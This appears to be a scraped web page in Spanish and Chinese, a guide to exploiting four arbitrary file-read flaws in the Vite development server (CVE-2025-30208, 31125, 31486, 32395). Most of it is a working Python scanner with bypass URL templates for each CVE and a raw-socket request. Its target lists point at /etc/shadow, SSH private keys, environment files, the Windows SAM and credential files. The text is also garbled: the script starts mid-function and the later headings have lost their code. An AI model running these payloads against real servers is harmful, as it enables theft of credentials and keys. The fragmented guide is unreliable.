Guía de explotación de vulnerabilidades de Vite (CVE-2025-30208/31125/31486/32395)

Este documento resume los métodos de explotación de cuatro vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo de Vite, incluidos ejemplos para sistemas Linux y Windows. Tenga en cuenta: solo para uso en entornos de pruebas de seguridad autorizados.

Principios básicos

Estas cuatro vulnerabilidades en el servidor de desarrollo de Vite permiten a un atacante eludir la restricción server.fs.deny y leer archivos arbitrarios del servidor. Cada vulnerabilidad utiliza una técnica de omisión diferente, pero los principios básicos son similares.

Condiciones de impacto

Las cuatro vulnerabilidades requieren que se cumplan las siguientes condiciones para ser explotadas:

El objetivo utiliza una versión afectada del servidor de desarrollo de Vite
El servidor de desarrollo está expuesto explícitamente a la red (usando la opción de configuración --host o server.host)
Para CVE-2025-32395, además se requiere que el servidor se ejecute en un entorno Node o Bun (no Deno)

if target_url.endswith('/' ): target_url = target_url[:-1] # 解析URL获取主机和端口 parsed_url = urllib.parse.urlparse(target_url) host = parsed_url.hostname port = parsed_url.port # 如果端口未指定，根据协议设置默认端口 if port is None: port = 443 if parsed_url.scheme == 'https' else 80 print(f"[*] 测试目标: {target_url} (主机: {host}, 端口: {port} )") # 扩展的Linux测试路径 linux_test_paths = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/nginx/nginx.conf", "/var/www/html/config.php", "/var/www/html/wp-config.php", "/home/admin/.ssh/id_rsa", "/home/ubuntu/.ssh/id_rsa", "/root/.ssh/id_rsa", "/proc/self/environ", "/var/log/auth.log", "/etc/crontab", "/etc/mysql/my.cnf", "/var/www/html/.env", "/opt/tomcat/conf/server.xml" ] # 扩展的Windows测试路径 windows_test_paths = [ "C:/Windows/win.ini", "C:/Windows/system32/drivers/etc/hosts", "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt", "C:/inetpub/wwwroot/web.config", "C:/Program Files/MySQL/MySQL Server 8.0/my.ini", "C:/Users/Administrator/.ssh/id_rsa", "C:/Windows/Panther/Unattend.xml", "C:/xampp/php/php.ini", "C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf", "C:/Users/Administrator/Desktop/credentials.txt", "C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1", "C:/Windows/System32/config/SAM", "C:/Windows/repair/SAM", "C:/Windows/debug/NetSetup.log", "C:/Windows/iis6.log" ] # 所有测试路径 all_test_paths = linux_test_paths + windows_test_paths vulnerabilities = { "CVE-2025-30208": [ "/@fs{path}?raw??", "/@fs{path}?import&raw??" ], "CVE-2025-31125": [ "/@fs{path}?inline&import", "/@fs{path}?raw?import" ], "CVE-2025-31486": [ "{path}?.svg?.wasm?init", "/@fs/x/x/x/vite-project/?/../../../../../{path}?import&?raw" ], "CVE-2025-32395": [ "/@fs/x/#/../../../../../{path}" ] } # 首先测试基本路径是否可访问 try: r = requests.get(f"{target_url}/@vite/client", timeout=5, verify=False) if r.status_code != 200: print(f"[-] 目标可能不是Vite服务器，未找到/@vite/client路径") # 尝试其他可能的Vite标识 r = requests.get(f"{target_url}", timeout=5, verify=False) if "vite" not in r.text.lower() and "dev server" not in r.text.lower(): print(f"[-] 目标页面内容中未找到Vite相关标识") print(f"[*] 继续测试漏洞，忽略Vite标识检查...") else: print(f"[+] 确认目标是Vite服务器") except Exception as e: print(f"[-] 连接错误: {e}") print(f"[*] 继续测试漏洞，忽略连接错误...") # 生成随机文件名用于测试不存在的文件（避免误报） random_filename = ''.join(random.choice(string.ascii_lowercase) for i in range(10)) random_test = f"/tmp/{random_filename}.txt" # 测试CVE-2025-32395（需要自定义HTTP请求） def test_cve_2025_32395(path): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # 根据协议构建请求 protocol = "HTTP/1.1" request = f"GET /@fs/x/#/../../../../../{path} {protocol}\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n" # 如果是HTTPS，需要包装SSL if parsed_url.scheme == 'https': import ssl context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT ) context.check_hostname = False context.verify_mode = ssl.CERT_NONE s = context.wrap_socket(s, server_hostname=host) s.send(request.encode()) response = b"" while True: chunk = s.recv(4096) if not chunk: break response += chunk s.close() response_text = response.decode('utf-8', errors='ignore') # 检查是否成功读取文件 if "HTTP/1.1 200" in response_text: content = response_text.split('\r\n\r\n')[1] if '\r\n\r\n' in response_text else "" if is_valid_file_content(path, content): print(f"[+] 发现漏洞 CVE-2025-32395! 路径: {path}") print(f"[+] 响应内容预览: {content[:100]}...") return True except Exception as e: print(f"[-] 测试 CVE-2025-32395 路径 {path} 时出错: {e}") return False # 检查文件内容是否有效 def is_valid_file_content(path, content): if not content: return False # 根据文件类型检查内容特征 if "passwd" in path and ("root:" in content or "nobody:" in content): return True elif "shadow" in path and ("root:" in content or "$" in content): return True elif "win.ini" in path and ("for 16-bit app support" in content or "[fonts]" in content): return True elif "hosts" in path and ("localhost" in content or "127.0.0.1" in content): return True elif ".ssh/id_rsa" in path and ("BEGIN" in content and "PRIVATE KEY" in content): return True elif "web.config" in path and ("<configuration" in content or "<connectionStrings" in content): return True elif ".php" in path and ("<?php" in content or "$" in content): return True elif ".env" in path and ("=" in content): return True elif ".xml" in path and ("<" in content and ">" in content): return True elif ".ini" in path and ("[" in content and "]" in content): return True elif ".log" in path and (len(content) > 10): return True elif ".txt" in path and (len(content) > 5): return True elif ".mdf" in path and (not content.isprintable()): # 二进制文件 return True # 通用检查：内容不为空且不是错误消息 return len(content) > 10 and "error" not in content.lower() and "not found" not in content.lower() # 测试所有漏洞和路径 found_vulnerabilities = [] # 首先测试CVE-2025-32395，因为它需要特殊处理 for path in all_test_paths: if test_cve_2025_32395(path): found_vulnerabilities.append(("CVE-2025-32395", path)) break # 测试其他漏洞 for cve, templates in vulnerabilities.items(): if cve == "CVE-2025-32395": continue # 已经测试过了 for path in all_test_paths: for template in templates: try: url = f"{target_url}{template.format(path=path)}" r = requests.get(url, timeout=5, verify=False) if r.status_code == 200 and is_valid_file_content(path, r.text): print(f"[+] 发现漏洞 {cve}! 路径: {path}, 模板: {template}") print(f"[+] 响应内容预览: {r.text[:100]}...") found_vulnerabilities.append((cve, path)) break except Exception as e: print(f"[-] 测试 {cve} 路径 {path} 模板 {template} 时出错: {e}") if any(cve == v[0] for v in found_vulnerabilities): break # 如果已经找到这个CVE的漏洞，就不再测试其他路径 # 测试随机文件名以验证是否存在误报 false_positives = [] for cve, templates in vulnerabilities.items(): if cve == "CVE-2025-32395": continue for template in templates: try: url = f"{target_url}{template.format(path=random_test)}" r = requests.get(url, timeout=5, verify=False) if r.status_code == 200 and len(r.text) > 10: false_positives.append(cve) break except: pass # 报告结果 if found_vulnerabilities: print("\n[+] 漏洞检测结果:") for cve, path in found_vulnerabilities: if cve in false_positives: print(f" [-] {cve}: 可能存在误报，请手动验证") else: print(f" [+] {cve}: 确认存在漏洞，可访问 {path}") return True else: print("[-] 未发现漏洞或目标已修复") return False

CVE-2025-30208-31125-31486-32395

Más Populares

Métodos de explotación

1. CVE-2025-30208 (Omisión por separador final)

读取任意文件

验证漏洞是否存在

2. CVE-2025-31125 (bypass mediante método de importación específico)

读取任意文件

验证漏洞是否存在

3. CVE-2025-31486 (Bypass de SVG y ruta relativa)

SVG绕过方法

相对路径绕过方法

验证漏洞是否存在

4. CVE-2025-32395 (elusión de destino de solicitud no válida)

使用curl的--request-target选项

或使用原始HTTP请求

验证漏洞是否存在

Script de explotación integral

禁用SSL警告

Sistema Windows```

Linux路径测试

Windows路径测试